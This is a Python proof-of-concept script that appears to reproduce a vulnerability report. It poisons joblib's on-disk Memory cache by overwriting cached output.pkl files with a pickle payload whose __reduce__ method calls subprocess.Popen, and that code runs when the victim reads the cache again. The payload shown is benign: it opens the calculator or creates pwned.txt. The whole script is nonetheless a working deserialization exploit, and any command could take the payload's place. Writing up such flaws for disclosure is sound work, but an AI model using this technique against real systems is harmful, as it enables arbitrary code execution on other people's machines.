reproduce.py

import os
import glob
import joblib
import subprocess
import platform
from joblib import Memory

# 1. SETUP - Victim's Environment
CACHE_DIR = "persistent_ml_cache"
mem = Memory(CACHE_DIR, verbose=0)

@mem.cache
def get_sensitive_data(query_id):
    """A normal function that a researcher might use."""
    print(f"[*] Processing query: {query_id}")
    return {"status": "secure", "data": "top-secret-info"}

# 2. VICTIM'S INITIAL ACTION
print("[Victim] Initializing secure process...")
get_sensitive_data(101)
print("[Victim] Process complete. Result cached.\n")

# ---------------------------------------------------------
# 3. ATTACKER'S ACTION (The Poisoning)
# ---------------------------------------------------------
print("[Attacker] Searching for Joblib cache files to poison...")

# Search for the output.pkl file dynamically
pattern = os.path.join(CACHE_DIR, "joblib", "**", "get_sensitive_data", "**", "output.pkl")
cache_files = glob.glob(pattern, recursive=True)

class ExploitPayload:
    def __reduce__(self):
        # Cross-platform command: Opens calculator on Windows, creates a file on Linux
        if platform.system() == "Windows":
            command = ['calc.exe']
        else:
            # For Linux/Mac: Creates a 'pwned.txt' file in the current directory
            command = ['touch', 'pwned.txt']
        return (subprocess.Popen, (command,))

if cache_files:
    for target in cache_files:
        print(f"[Attacker] Found target: {target}")
        joblib.dump(ExploitPayload(), target)
    print("[Attacker] Cache poisoned successfully!\n")
else:
    print("[Attacker] Error: No cache files found. Run Step 2 first.\n")

# ---------------------------------------------------------
# 4. THE EXPLOIT - Victim's Second Action
# ---------------------------------------------------------
print("[Victim] Running the same process again...")
# Triggering the RCE
result = get_sensitive_data(101)

print("[Victim] Received result:", result)
print("[*] RCE Confirmed! (Calculator opened or 'pwned.txt' created)")